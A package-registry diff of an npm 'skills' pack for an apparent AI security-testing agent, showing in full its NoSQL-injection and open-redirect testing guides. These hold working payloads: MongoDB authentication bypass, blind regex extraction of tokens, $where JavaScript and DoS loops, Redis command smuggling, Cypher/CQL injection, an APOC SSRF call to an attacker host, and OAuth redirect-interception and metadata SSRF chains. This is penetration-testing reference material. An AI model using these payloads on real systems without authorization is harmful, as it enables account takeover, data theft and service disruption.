@gpzhang2001/sharpkit-skills 0.2.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/LICENSE +201 -0
- package/README.md +12 -0
- package/THIRD_PARTY_NOTICES.md +48 -0
- package/lib/index.d.ts +2027 -0
- package/lib/index.d.ts.map +1 -0
- package/lib/index.js +70 -0
- package/lib/index.js.map +1 -0
- package/package.json +46 -0
- package/skills/analysis/counterevidence.md +185 -0
- package/skills/analysis/fix_verification.md +129 -0
- package/skills/analysis/severity_calibration.md +130 -0
- package/skills/analysis/source_aware_discovery.md +211 -0
- package/skills/cloud/aws.md +231 -0
- package/skills/cloud/azure.md +262 -0
- package/skills/cloud/gcp.md +194 -0
- package/skills/cloud/kubernetes.md +223 -0
- package/skills/coordination/root_agent.md +105 -0
- package/skills/coordination/source_aware_whitebox.md +47 -0
- package/skills/custom/api_spec_testing.md +61 -0
- package/skills/custom/dependency_cve_scanning.md +341 -0
- package/skills/custom/npx_confusion.md +233 -0
- package/skills/custom/source_aware_sast.md +192 -0
- package/skills/frameworks/django.md +214 -0
- package/skills/frameworks/fastapi.md +191 -0
- package/skills/frameworks/nestjs.md +225 -0
- package/skills/frameworks/nextjs.md +228 -0
- package/skills/protocols/graphql.md +276 -0
- package/skills/protocols/oauth.md +185 -0
- package/skills/reconnaissance/asset_discovery.md +150 -0
- package/skills/reconnaissance/infrastructure_lifecycle.md +226 -0
- package/skills/scan_modes/deep.md +164 -0
- package/skills/scan_modes/diff.md +86 -0
- package/skills/scan_modes/quick.md +68 -0
- package/skills/scan_modes/standard.md +99 -0
- package/skills/technologies/active_directory.md +233 -0
- package/skills/technologies/auth0.md +188 -0
- package/skills/technologies/electron_desktop_apps.md +181 -0
- package/skills/technologies/firebase.md +263 -0
- package/skills/technologies/grafana_prometheus.md +189 -0
- package/skills/technologies/llm_applications.md +257 -0
- package/skills/technologies/supabase.md +268 -0
- package/skills/tooling/agent_browser.md +551 -0
- package/skills/tooling/ffuf.md +72 -0
- package/skills/tooling/httpx.md +82 -0
- package/skills/tooling/hurl.md +99 -0
- package/skills/tooling/hypothesis.md +100 -0
- package/skills/tooling/katana.md +102 -0
- package/skills/tooling/naabu.md +68 -0
- package/skills/tooling/nmap.md +66 -0
- package/skills/tooling/nuclei.md +67 -0
- package/skills/tooling/python.md +109 -0
- package/skills/tooling/semgrep.md +72 -0
- package/skills/tooling/sqlmap.md +67 -0
- package/skills/tooling/subfinder.md +66 -0
- package/skills/vulnerabilities/agentic_system_security.md +207 -0
- package/skills/vulnerabilities/argument_injection.md +157 -0
- package/skills/vulnerabilities/authentication_jwt.md +166 -0
- package/skills/vulnerabilities/broken_function_level_authorization.md +154 -0
- package/skills/vulnerabilities/browser_security.md +192 -0
- package/skills/vulnerabilities/business_logic.md +178 -0
- package/skills/vulnerabilities/csrf.md +198 -0
- package/skills/vulnerabilities/header_injection.md +216 -0
- package/skills/vulnerabilities/http_request_smuggling.md +255 -0
- package/skills/vulnerabilities/idor.md +217 -0
- package/skills/vulnerabilities/information_disclosure.md +187 -0
- package/skills/vulnerabilities/insecure_deserialization.md +210 -0
- package/skills/vulnerabilities/insecure_file_uploads.md +194 -0
- package/skills/vulnerabilities/llm_prompt_injection.md +187 -0
- package/skills/vulnerabilities/mass_assignment.md +153 -0
- package/skills/vulnerabilities/nosql_injection.md +288 -0
- package/skills/vulnerabilities/open_redirect.md +165 -0
- package/skills/vulnerabilities/path_traversal_lfi_rfi.md +218 -0
- package/skills/vulnerabilities/prototype_pollution.md +142 -0
- package/skills/vulnerabilities/race_conditions.md +181 -0
- package/skills/vulnerabilities/rce.md +250 -0
- package/skills/vulnerabilities/semantic_confusion.md +189 -0
- package/skills/vulnerabilities/sql_injection.md +190 -0
- package/skills/vulnerabilities/ssrf.md +186 -0
- package/skills/vulnerabilities/ssti.md +270 -0
- package/skills/vulnerabilities/subdomain_takeover.md +167 -0
- package/skills/vulnerabilities/weak_password_detection.md +200 -0
- package/skills/vulnerabilities/xss.md +206 -0
- package/skills/vulnerabilities/xxe.md +223 -0
- package/src/index.ts +89 -0
|
@@ -0,0 +1,288 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: nosql-injection
|
|
3
|
+
description: NoSQL injection testing covering MongoDB operator injection, authentication bypass, blind extraction, GraphQL variable injection, and Redis/DynamoDB/Elasticsearch/Neo4j-specific attack surfaces
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# NoSQL Injection
|
|
7
|
+
|
|
8
|
+
NoSQL injection exploits the mismatch between how applications pass user input to database queries and how the database engine interprets that input. Unlike SQL injection, NoSQL injection frequently involves operator injection (e.g., MongoDB's `$gt`, `$regex`, `$where`) or structure injection (embedding JSON sub-documents). The attack surface is broad: MongoDB is the dominant target, but Redis, Elasticsearch, DynamoDB, Cassandra, CouchDB, and Neo4j each have distinct injection surfaces. GraphQL resolvers passing variables directly into a backing NoSQL filter are a frequent cross-cutting vector.
|
|
9
|
+
|
|
10
|
+
## Attack Surface
|
|
11
|
+
|
|
12
|
+
**Input shapes that reach query filters**
|
|
13
|
+
- JSON body parameters parsed straight into query objects
|
|
14
|
+
- Form fields with bracket notation (`field[$ne]=`) coerced into operator objects by Express, PHP, and similar middleware
|
|
15
|
+
- URL-encoded JSON in query strings, headers, and cookies
|
|
16
|
+
- GraphQL variables passed directly into resolver-level NoSQL filters
|
|
17
|
+
|
|
18
|
+
**Code patterns that enable injection**
|
|
19
|
+
- Raw filter dicts/objects from user input handed to `find`/`findOne`/`aggregate`
|
|
20
|
+
- String concatenation into Cypher / CQL / Redis commands instead of the driver's parameterized form
|
|
21
|
+
- ODM passthrough: Mongoose `{strict: false}`, Morphia raw `where()`, PyMongo `find()` with unsanitized JSON dicts (legacy `eval()` is fatal)
|
|
22
|
+
- Server-side JavaScript surfaces: `$where`, `$function`, `$accumulator`, CouchDB `_design` views
|
|
23
|
+
|
|
24
|
+
**Stores in scope**
|
|
25
|
+
MongoDB (primary), Redis, Elasticsearch, DynamoDB, Cassandra, CouchDB, Neo4j. Couchbase / DocumentDB / HBase / ScyllaDB / Memcached follow the same operator-injection or command-smuggling models — DocumentDB in particular accepts MongoDB payloads unchanged.
|
|
26
|
+
|
|
27
|
+
## High-Value Targets
|
|
28
|
+
|
|
29
|
+
- Login and authentication endpoints (username/password fields)
|
|
30
|
+
- Search and filter APIs (catalog, user search, admin lookup)
|
|
31
|
+
- Password reset and token lookup flows
|
|
32
|
+
- Admin queries filtering by role, plan, or privilege fields
|
|
33
|
+
- Endpoints accepting raw JSON objects as query parameters
|
|
34
|
+
|
|
35
|
+
## Reconnaissance
|
|
36
|
+
|
|
37
|
+
### Content-Type and Input Shape
|
|
38
|
+
|
|
39
|
+
- Identify endpoints accepting `application/json` — these can receive operator objects directly
|
|
40
|
+
- Identify endpoints accepting `application/x-www-form-urlencoded` — bracket notation `username[$ne]=x` maps to `{username: {$ne: 'x'}}` in many frameworks (Express `body-parser`, PHP)
|
|
41
|
+
- Determine whether the backend uses Mongoose, native MongoDB driver, or a REST ODM wrapper
|
|
42
|
+
|
|
43
|
+
### Error Fingerprinting
|
|
44
|
+
|
|
45
|
+
- Send malformed JSON: `{"username": {"$gt": ""}}`
|
|
46
|
+
- Send bracket notation in form data: `username[$gt]=`
|
|
47
|
+
- Look for MongoDB error messages: `MongoError`, `CastError`, `ValidationError`
|
|
48
|
+
- Stack traces revealing collection names, field names, driver version
|
|
49
|
+
|
|
50
|
+
### Operator Probe
|
|
51
|
+
|
|
52
|
+
Test whether operators pass through to the database:
|
|
53
|
+
```json
|
|
54
|
+
{"username": {"$gt": ""}, "password": {"$gt": ""}}
|
|
55
|
+
```
|
|
56
|
+
If authentication succeeds or response differs, operator injection is confirmed.
|
|
57
|
+
|
|
58
|
+
## Key Vulnerabilities
|
|
59
|
+
|
|
60
|
+
### MongoDB Authentication Bypass
|
|
61
|
+
|
|
62
|
+
The classic operator injection against login queries of the form `db.users.findOne({username: input.username, password: input.password})`:
|
|
63
|
+
|
|
64
|
+
**JSON body injection:**
|
|
65
|
+
```json
|
|
66
|
+
{"username": {"$ne": null}, "password": {"$ne": null}}
|
|
67
|
+
```
|
|
68
|
+
Matches the first document where both fields are non-null — typically the first user/admin.
|
|
69
|
+
|
|
70
|
+
**Form body (bracket notation):**
|
|
71
|
+
```
|
|
72
|
+
username[$ne]=invalid&password[$ne]=invalid
|
|
73
|
+
```
|
|
74
|
+
|
|
75
|
+
**Variations:**
|
|
76
|
+
```json
|
|
77
|
+
{"username": "admin", "password": {"$gt": ""}}
|
|
78
|
+
{"username": {"$regex": ".*"}, "password": {"$gt": ""}}
|
|
79
|
+
{"username": {"$in": ["admin", "administrator", "root"]}, "password": {"$gt": ""}}
|
|
80
|
+
```
|
|
81
|
+
|
|
82
|
+
### Blind Data Extraction via `$regex`
|
|
83
|
+
|
|
84
|
+
When the query result is not directly reflected but observable (boolean response, redirect, timing), extract field values character by character using `$regex`:
|
|
85
|
+
```json
|
|
86
|
+
{"username": "admin", "password": {"$regex": "^a"}}
|
|
87
|
+
{"username": "admin", "password": {"$regex": "^b"}}
|
|
88
|
+
...
|
|
89
|
+
```
|
|
90
|
+
Binary search the character space to minimize requests. Works on any string field (token, reset code, API key).
|
|
91
|
+
|
|
92
|
+
### `$where` JavaScript Injection
|
|
93
|
+
|
|
94
|
+
If `$where` operator is enabled (disabled by default in MongoDB 7.0+; MongoDB 4.4–6.x deprecated it but left `javascriptEnabled` defaulting to `true`), inject arbitrary server-side JavaScript:
|
|
95
|
+
```json
|
|
96
|
+
{"$where": "function(){return this.role == 'admin'}"} // direct filter — returns matching documents
|
|
97
|
+
{"$where": "function(){return this.username == 'admin' && sleep(2000)}"} // timing oracle only — sleep() returns undefined (falsy), so no documents are returned; observe latency
|
|
98
|
+
```
|
|
99
|
+
`sleep()` is available in older MongoDB for blind extraction via response-time differential.
|
|
100
|
+
|
|
101
|
+
### `$function` and `$accumulator` (MongoDB 4.4+)
|
|
102
|
+
|
|
103
|
+
Server-side JavaScript in aggregations. `$function` must live inside an expression context — `$expr`, `$project`, `$addFields`, etc. — not as a top-level filter:
|
|
104
|
+
```json
|
|
105
|
+
{"$expr": {"$function": {"body": "function(doc){return doc.role == 'admin'}", "args": ["$$ROOT"], "lang": "js"}}}
|
|
106
|
+
```
|
|
107
|
+
Gated by the same `javascriptEnabled` parameter as `$where`, but reachable through aggregation endpoints — useful when `$where` is filtered at the query layer but aggregation pipelines remain user-influenceable.
|
|
108
|
+
|
|
109
|
+
### Aggregation Pipeline Injection
|
|
110
|
+
|
|
111
|
+
`$match`, `$lookup`, and `$project` stages accept the same operator payloads as `find()`. User-controlled `$lookup.from` is the highest-impact variant — it can pivot the query to a different collection (e.g., from `orders` into `users`) and exfiltrate cross-tenant data.
|
|
112
|
+
|
|
113
|
+
### Redis Command Injection
|
|
114
|
+
|
|
115
|
+
When Redis commands are constructed by string concatenation:
|
|
116
|
+
```python
|
|
117
|
+
redis.execute_command(f"SET {user_key} {value}")
|
|
118
|
+
```
|
|
119
|
+
Inject newline characters (`\r\n`) to inject additional Redis commands (RESP protocol injection):
|
|
120
|
+
```
|
|
121
|
+
key\r\nSET backdoor attacker_controlled\r\nSET dummy
|
|
122
|
+
```
|
|
123
|
+
|
|
124
|
+
### Elasticsearch Query String Injection
|
|
125
|
+
|
|
126
|
+
`query_string` and `simple_query_string` accept Lucene syntax. User input flowing directly:
|
|
127
|
+
```
|
|
128
|
+
q=normal+search → normal results
|
|
129
|
+
q=* → all documents
|
|
130
|
+
q=role:admin → filter by field
|
|
131
|
+
q=_exists_:password_hash → existence probe
|
|
132
|
+
```
|
|
133
|
+
|
|
134
|
+
For Painless script injection via `_update`:
|
|
135
|
+
```json
|
|
136
|
+
{"script": {"source": "ctx._source.role = params.r", "params": {"r": "admin"}}}
|
|
137
|
+
```
|
|
138
|
+
If the `source` field is user-controlled, inject arbitrary Painless.
|
|
139
|
+
|
|
140
|
+
### DynamoDB FilterExpression Injection
|
|
141
|
+
|
|
142
|
+
PartiQL injection allows expansion of intended queries:
|
|
143
|
+
```sql
|
|
144
|
+
-- Intended:
|
|
145
|
+
SELECT * FROM Users WHERE username = 'input'
|
|
146
|
+
|
|
147
|
+
-- Injected:
|
|
148
|
+
SELECT * FROM Users WHERE username = 'x' OR '1'='1
|
|
149
|
+
```
|
|
150
|
+
|
|
151
|
+
### Cassandra CQL Injection
|
|
152
|
+
|
|
153
|
+
CQL is SQL-shaped, so injection follows the SQL pattern when input is concatenated instead of bound via `session.prepare()`:
|
|
154
|
+
|
|
155
|
+
```
|
|
156
|
+
username: ' OR '1'='1' ALLOW FILTERING --
|
|
157
|
+
username: 'x' OR token(username) > token('a') ALLOW FILTERING --
|
|
158
|
+
```
|
|
159
|
+
|
|
160
|
+
No `SLEEP` or OOB primitive natively — detection is boolean/error-based only.
|
|
161
|
+
|
|
162
|
+
### CouchDB Mango and View Injection
|
|
163
|
+
|
|
164
|
+
Mango selectors on `_find` accept operator payloads in the same shape as MongoDB:
|
|
165
|
+
```json
|
|
166
|
+
POST /db/_find { "selector": {"username": "admin", "password": {"$gt": ""}} }
|
|
167
|
+
POST /db/_find { "selector": {"role": {"$regex": "^admin"}} }
|
|
168
|
+
```
|
|
169
|
+
|
|
170
|
+
`_design` document injection — if user input flows into a design doc's `views.<name>.map`, the JavaScript runs server-side in the Couch sandbox on every view query:
|
|
171
|
+
```json
|
|
172
|
+
{"views": {"x": {"map": "function(doc){ emit(doc._id, doc) }"}}}
|
|
173
|
+
```
|
|
174
|
+
|
|
175
|
+
Also probe `_all_docs?include_docs=true` for unscoped enumeration and check for admin-party misconfigurations (`_users/_all_docs` reachable without auth) before payload work.
|
|
176
|
+
|
|
177
|
+
### Neo4j Cypher Injection
|
|
178
|
+
|
|
179
|
+
When user input is concatenated into Cypher rather than passed as a parameter (`$param`):
|
|
180
|
+
```python
|
|
181
|
+
# Vulnerable
|
|
182
|
+
session.run(f"MATCH (u:User {{name: '{name}'}}) RETURN u")
|
|
183
|
+
|
|
184
|
+
# Injected: name = x'}) RETURN u UNION MATCH (u:User) RETURN u //
|
|
185
|
+
```
|
|
186
|
+
|
|
187
|
+
**APOC abuse** (when `apoc.*` procedures are enabled via `dbms.security.procedures.unrestricted`):
|
|
188
|
+
- `CALL apoc.load.json('http://attacker/x')` — SSRF and external data fetch
|
|
189
|
+
- `CALL apoc.cypher.run("...", {})` — dynamic query execution from a string
|
|
190
|
+
- `CALL dbms.security.listUsers()` — user enumeration on misconfigured Community Edition
|
|
191
|
+
|
|
192
|
+
### GraphQL Variable Injection
|
|
193
|
+
|
|
194
|
+
Resolvers passing variables straight into a backing NoSQL filter are a common chained vector:
|
|
195
|
+
```graphql
|
|
196
|
+
query Login($input: UserFilter!) {
|
|
197
|
+
user(filter: $input) { id role }
|
|
198
|
+
}
|
|
199
|
+
```
|
|
200
|
+
With `$input` reaching `db.users.findOne(input)`, send:
|
|
201
|
+
```json
|
|
202
|
+
{"input": {"username": "admin", "password": {"$ne": ""}}}
|
|
203
|
+
```
|
|
204
|
+
Use introspection (`__schema`, `__type`) to enumerate which input types accept arbitrary objects — those are the operator-injection candidates.
|
|
205
|
+
|
|
206
|
+
### Server-Side JavaScript Detection and DoS
|
|
207
|
+
|
|
208
|
+
Fingerprint SSJS state before investing in `$where` / `$function` payloads:
|
|
209
|
+
```javascript
|
|
210
|
+
db.adminCommand({getParameter: 1, javascriptEnabled: 1})
|
|
211
|
+
```
|
|
212
|
+
|
|
213
|
+
DoS surface (use only with explicit authorization scope):
|
|
214
|
+
- **ReDoS**: `{"field": {"$regex": "^(a+)+$"}}` against long values triggers catastrophic backtracking
|
|
215
|
+
- **Large `$in` arrays**: thousands of values force linear scans on unindexed fields
|
|
216
|
+
- **Infinite `$where` loops**: `{"$where": "while(true){}"}` if SSJS is enabled without query timeouts
|
|
217
|
+
- **Heavy aggregations**: chained `$lookup` across large unindexed collections
|
|
218
|
+
|
|
219
|
+
## Bypass Techniques
|
|
220
|
+
|
|
221
|
+
**Type Coercion**
|
|
222
|
+
- Send operators as arrays: `{"$gt": [""]}` — some drivers coerce arrays
|
|
223
|
+
- Mix string and object types in the same request to trigger parser branches
|
|
224
|
+
|
|
225
|
+
**Encoding**
|
|
226
|
+
- URL-encode brackets: `username%5B%24ne%5D=x` → `username[$ne]=x`
|
|
227
|
+
- Double-encode for WAFs sitting in front of JSON-parsing backends
|
|
228
|
+
|
|
229
|
+
**Operator Alternatives**
|
|
230
|
+
- `$nin` (not in), `$exists: false`, `$type` — alternative operators that reach the same result when `$ne` is filtered
|
|
231
|
+
- `$not` wrapping another operator: `{"field": {"$not": {"$eq": "value"}}}`
|
|
232
|
+
- `$expr` with `$ne` for complex comparisons: `{"$expr": {"$ne": ["$password", "wrong"]}}`
|
|
233
|
+
|
|
234
|
+
**Structure Manipulation**
|
|
235
|
+
- Dotted-key vs nested object: `{"a.b": "c"}` vs `{"a": {"b": "c"}}` — sanitizers often strip one form but pass the other
|
|
236
|
+
- Array vs object operator wrapping: some parsers treat `["$or", ...]` as operator arrays
|
|
237
|
+
- Prototype pollution: `__proto__` and `constructor.prototype` keys in JSON bodies polluting Object prototypes consumed downstream by query builders
|
|
238
|
+
- `$regex` case-insensitive flag (`"$options": "i"`) widens matches that case-sensitive filters miss
|
|
239
|
+
|
|
240
|
+
## Testing Methodology
|
|
241
|
+
|
|
242
|
+
1. **Identify query-receiving endpoints** — login, search, filter, lookup
|
|
243
|
+
2. **Determine input format** — JSON body vs form fields vs URL params
|
|
244
|
+
3. **Send error-probing payloads** — malformed operator objects; watch for MongoDB/driver errors
|
|
245
|
+
4. **Attempt operator injection** — `$ne`, `$gt`, `$regex` against login endpoint
|
|
246
|
+
5. **Confirm boolean oracle** — response, status, redirect differs between true/false predicates
|
|
247
|
+
6. **Extract data blindly** — character-by-character `$regex` on sensitive fields (token, reset code)
|
|
248
|
+
7. **Test `$where`** — if older MongoDB version detected, attempt JavaScript sleep-based timing
|
|
249
|
+
8. **Probe aggregation endpoints** — inject operators into `filter`/`match`/`sort` fields
|
|
250
|
+
9. **Test non-MongoDB stores** — Elasticsearch `query_string`, Redis command construction, DynamoDB PartiQL, CouchDB Mango selectors, Neo4j Cypher concatenation, Cassandra CQL
|
|
251
|
+
10. **Test GraphQL resolvers** — submit operator objects via variables on any input type that reaches a NoSQL filter; use `__schema` introspection to enumerate candidates
|
|
252
|
+
|
|
253
|
+
## Validation
|
|
254
|
+
|
|
255
|
+
1. Demonstrate authentication bypass: send operator payload, confirm login succeeds for any/first account
|
|
256
|
+
2. Extract a verifiable secret (password hash, reset token, API key) via `$regex` blind extraction
|
|
257
|
+
3. Show at least two distinct operator payloads working to rule out coincidence
|
|
258
|
+
4. Provide before/after: normal request returns 401, injected request returns 200
|
|
259
|
+
5. For `$where`: show timing differential with/without `sleep()`
|
|
260
|
+
|
|
261
|
+
## False Positives
|
|
262
|
+
|
|
263
|
+
- Framework-level query builder that casts input to string before constructing the query (Mongoose `strict` mode on)
|
|
264
|
+
- Input sanitization stripping operator keys before they reach the driver
|
|
265
|
+
- Endpoints that accept JSON but cast the `password` field to string — operator object becomes `[object Object]`
|
|
266
|
+
- Response differences caused by validation errors, not actual operator execution
|
|
267
|
+
|
|
268
|
+
## Impact
|
|
269
|
+
|
|
270
|
+
- Authentication bypass granting access to arbitrary or all accounts
|
|
271
|
+
- Full extraction of sensitive fields (tokens, hashed passwords, PII) via blind regex enumeration
|
|
272
|
+
- Privilege escalation by querying admin/superuser records directly
|
|
273
|
+
- Data exfiltration at scale via widened `$ne`/`$regex`/`$gt` filters
|
|
274
|
+
- Server-side JavaScript execution via `$where` on unpatched MongoDB instances
|
|
275
|
+
|
|
276
|
+
## Pro Tips
|
|
277
|
+
|
|
278
|
+
1. Always try both JSON body (`{"field": {"$ne": null}}`) and bracket-notation form (`field[$ne]=`) — different middleware handles them differently
|
|
279
|
+
2. Target reset token and API key fields with `$regex` extraction, not just passwords
|
|
280
|
+
3. Check MongoDB version via error messages or `/admin/serverStatus`; `$where` is active by default on pre-7.0 instances — that includes 4.4–6.x targets where `javascriptEnabled` was deprecated but not yet disabled, making them still exploitable unless explicitly hardened
|
|
281
|
+
4. For Elasticsearch, try `_cat/indices`, `_mapping`, and `_search` with `query_string: *` before attempting script injection
|
|
282
|
+
5. Combine authentication bypass with a second request to `/admin` or `/api/users` to escalate impact
|
|
283
|
+
6. Automate `$regex` extraction with binary search: 7 requests per character vs 94 with linear search
|
|
284
|
+
7. GraphQL resolvers are an underexplored entry point — try operator objects in any input type that reaches a NoSQL filter, and use introspection to find candidate fields
|
|
285
|
+
|
|
286
|
+
## Summary
|
|
287
|
+
|
|
288
|
+
NoSQL injection exploits the same root cause as SQL injection — user input controlling query structure — but through operator embedding rather than syntax breaking. MongoDB is the primary target; enforce schema validation, use parameterized equivalents (strict mode, typed schemas), and never pass raw user input as a query object.
|
|
@@ -0,0 +1,165 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: open-redirect
|
|
3
|
+
description: Open redirect testing for phishing pivots, OAuth token theft, and allowlist bypass
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# Open Redirect
|
|
7
|
+
|
|
8
|
+
Open redirects enable phishing, OAuth/OIDC code and token theft, and allowlist bypass in server-side fetchers that follow redirects. Treat every redirect target as untrusted: canonicalize and enforce exact allowlists per scheme, host, and path.
|
|
9
|
+
|
|
10
|
+
## Attack Surface
|
|
11
|
+
|
|
12
|
+
**Server-Driven Redirects**
|
|
13
|
+
- HTTP 3xx Location
|
|
14
|
+
|
|
15
|
+
**Client-Driven Redirects**
|
|
16
|
+
- `window.location`, meta refresh, SPA routers
|
|
17
|
+
|
|
18
|
+
**OAuth/OIDC/SAML Flows**
|
|
19
|
+
- `redirect_uri`, `post_logout_redirect_uri`, `RelayState`, `returnTo`/`continue`/`next`
|
|
20
|
+
|
|
21
|
+
**Multi-Hop Chains**
|
|
22
|
+
- Only first hop validated
|
|
23
|
+
|
|
24
|
+
## High-Value Targets
|
|
25
|
+
|
|
26
|
+
- Login/logout, password reset, SSO/OAuth flows
|
|
27
|
+
- Payment gateways, email links, invite/verification
|
|
28
|
+
- Unsubscribe, language/locale switches
|
|
29
|
+
- `/out` or `/r` redirectors
|
|
30
|
+
|
|
31
|
+
## Reconnaissance
|
|
32
|
+
|
|
33
|
+
### Injection Points
|
|
34
|
+
|
|
35
|
+
- Params: `redirect`, `url`, `next`, `return_to`, `returnUrl`, `continue`, `goto`, `target`, `callback`, `out`, `dest`, `back`, `to`, `r`, `u`
|
|
36
|
+
- OAuth/OIDC/SAML: `redirect_uri`, `post_logout_redirect_uri`, `RelayState`, `state`
|
|
37
|
+
- SPA: `router.push`/`replace`, `location.assign`/`href`, meta refresh, `window.open`
|
|
38
|
+
- Headers: `Host`, `X-Forwarded-Host`/`Proto`, `Referer`; server-side Location echo
|
|
39
|
+
|
|
40
|
+
### Parser Differentials
|
|
41
|
+
|
|
42
|
+
**Userinfo**
|
|
43
|
+
- `https://trusted.com@evil.com` → validators parse host as trusted.com, browser navigates to evil.com
|
|
44
|
+
- Variants: `trusted.com%40evil.com`, `a%40evil.com%40trusted.com`
|
|
45
|
+
|
|
46
|
+
**Backslash and Slashes**
|
|
47
|
+
- `https://trusted.com\evil.com`, `https://trusted.com\@evil.com`, `///evil.com`, `/\evil.com`
|
|
48
|
+
|
|
49
|
+
**Whitespace and Control**
|
|
50
|
+
- `http%09://evil.com`, `http%0A://evil.com`, `trusted.com%09evil.com`
|
|
51
|
+
|
|
52
|
+
**Fragment and Query**
|
|
53
|
+
- `trusted.com#@evil.com`, `trusted.com?//@evil.com`, `?next=//evil.com#@trusted.com`
|
|
54
|
+
|
|
55
|
+
**Unicode and IDNA**
|
|
56
|
+
- Punycode/IDN: `truѕted.com` (Cyrillic), `trusted.com。evil.com` (full-width dot), trailing dot
|
|
57
|
+
|
|
58
|
+
### Encoding Bypasses
|
|
59
|
+
|
|
60
|
+
- Double encoding: `%2f%2fevil.com`, `%252f%252fevil.com`
|
|
61
|
+
- Mixed case and scheme smuggling: `hTtPs://evil.com`, `http:evil.com`
|
|
62
|
+
- IP variants: decimal 2130706433, octal 0177.0.0.1, hex 0x7f.1, IPv6 `[::ffff:127.0.0.1]`
|
|
63
|
+
- User-controlled path bases: `/out?url=/\evil.com`
|
|
64
|
+
|
|
65
|
+
## Key Vulnerabilities
|
|
66
|
+
|
|
67
|
+
### Allowlist Evasion
|
|
68
|
+
|
|
69
|
+
**Common Mistakes**
|
|
70
|
+
- Substring/regex contains checks: allows `trusted.com.evil.com`
|
|
71
|
+
- Wildcards: `*.trusted.com` also matches `attacker.trusted.com.evil.net`
|
|
72
|
+
- Missing scheme pinning: `data:`, `javascript:`, `file:`, `gopher:` accepted
|
|
73
|
+
- Case/IDN drift between validator and browser
|
|
74
|
+
|
|
75
|
+
**Robust Validation**
|
|
76
|
+
- Canonicalize with a single modern URL parser (WHATWG URL)
|
|
77
|
+
- Compare exact scheme, hostname (post-IDNA), and an explicit allowlist with optional exact path prefixes
|
|
78
|
+
- Require absolute HTTPS; reject protocol-relative `//` and unknown schemes
|
|
79
|
+
|
|
80
|
+
### OAuth/OIDC/SAML
|
|
81
|
+
|
|
82
|
+
**Redirect URI Abuse**
|
|
83
|
+
- Using an open redirect on a trusted domain for redirect_uri enables code interception
|
|
84
|
+
- Weak prefix/suffix checks: `https://trusted.com` → `https://trusted.com.evil.com`
|
|
85
|
+
- Path traversal/canonicalization: `/oauth/../../@evil.com`
|
|
86
|
+
- `post_logout_redirect_uri` often less strictly validated
|
|
87
|
+
|
|
88
|
+
### Client-Side Vectors
|
|
89
|
+
|
|
90
|
+
**JavaScript Redirects**
|
|
91
|
+
- `location.href`/`assign`/`replace` using user input
|
|
92
|
+
- Meta refresh `content=0;url=USER_INPUT`
|
|
93
|
+
- SPA routers: `router.push(searchParams.get('next'))`
|
|
94
|
+
|
|
95
|
+
### Reverse Proxies and Gateways
|
|
96
|
+
|
|
97
|
+
- Host/X-Forwarded-* may change absolute URL construction
|
|
98
|
+
- CDNs that follow redirects for link checking can leak tokens when chained
|
|
99
|
+
|
|
100
|
+
### SSRF Chaining
|
|
101
|
+
|
|
102
|
+
- Server-side fetchers (web previewers, link unfurlers) follow 3xx
|
|
103
|
+
- Combine with an open redirect on an allowlisted domain to pivot to internal targets (169.254.169.254, localhost)
|
|
104
|
+
|
|
105
|
+
## Exploitation Scenarios
|
|
106
|
+
|
|
107
|
+
### OAuth Code Interception
|
|
108
|
+
|
|
109
|
+
1. Set redirect_uri to `https://trusted.example/out?url=https://attacker.tld/cb`
|
|
110
|
+
2. IdP sends code to trusted.example which redirects to attacker.tld
|
|
111
|
+
3. Exchange code for tokens; demonstrate account access
|
|
112
|
+
|
|
113
|
+
### Phishing Flow
|
|
114
|
+
|
|
115
|
+
1. Send link on trusted domain: `/login?next=https://attacker.tld/fake`
|
|
116
|
+
2. Victim authenticates; browser navigates to attacker page
|
|
117
|
+
3. Capture credentials/tokens via cloned UI
|
|
118
|
+
|
|
119
|
+
### Internal Evasion
|
|
120
|
+
|
|
121
|
+
1. Server-side link unfurler fetches `https://trusted.example/out?u=http://169.254.169.254/latest/meta-data`
|
|
122
|
+
2. Redirect follows to metadata; confirm via timing/headers
|
|
123
|
+
|
|
124
|
+
## Testing Methodology
|
|
125
|
+
|
|
126
|
+
1. **Inventory surfaces** - Login/logout, password reset, SSO/OAuth flows, payment gateways, email links
|
|
127
|
+
2. **Build test matrix** - Scheme × host × path variants and encoding/unicode forms
|
|
128
|
+
3. **Compare behaviors** - Server-side validation vs browser navigation results
|
|
129
|
+
4. **Multi-hop testing** - Trusted-domain → redirector → external
|
|
130
|
+
5. **Prove impact** - Credential phishing, OAuth code interception, internal egress
|
|
131
|
+
|
|
132
|
+
## Validation
|
|
133
|
+
|
|
134
|
+
1. Produce a minimal URL that navigates to an external domain via the vulnerable surface; include the full address bar capture
|
|
135
|
+
2. Show bypass of the stated validation (regex/allowlist) using canonicalization variants
|
|
136
|
+
3. Test multi-hop: prove only first hop is validated and second hop escapes constraints
|
|
137
|
+
4. For OAuth/SAML, demonstrate code/RelayState delivery to an attacker-controlled endpoint
|
|
138
|
+
|
|
139
|
+
## False Positives
|
|
140
|
+
|
|
141
|
+
- Redirects constrained to relative same-origin paths with robust normalization
|
|
142
|
+
- Exact pre-registered OAuth redirect_uri with strict verifier
|
|
143
|
+
- Validators using a single canonical parser and comparing post-IDNA host and scheme
|
|
144
|
+
- User prompts that show the exact final destination before navigating
|
|
145
|
+
|
|
146
|
+
## Impact
|
|
147
|
+
|
|
148
|
+
- Credential and token theft via phishing and OAuth/OIDC interception
|
|
149
|
+
- Internal data exposure when server fetchers follow redirects
|
|
150
|
+
- Policy bypass where allowlists are enforced only on the first hop
|
|
151
|
+
- Cross-application trust erosion and brand abuse
|
|
152
|
+
|
|
153
|
+
## Pro Tips
|
|
154
|
+
|
|
155
|
+
1. Always compare server-side canonicalization to real browser navigation; differences reveal bypasses
|
|
156
|
+
2. Try userinfo, protocol-relative, Unicode/IDN, and IP numeric variants early
|
|
157
|
+
3. In OAuth, prioritize `post_logout_redirect_uri` and less-discussed flows; they're often looser
|
|
158
|
+
4. Exercise multi-hop across distinct subdomains and paths
|
|
159
|
+
5. For SSRF chaining, target services known to follow redirects
|
|
160
|
+
6. Favor allowlists of exact origins plus optional path prefixes
|
|
161
|
+
7. Keep a curated suite of redirect payloads per runtime (Java, Node, Python, Go)
|
|
162
|
+
|
|
163
|
+
## Summary
|
|
164
|
+
|
|
165
|
+
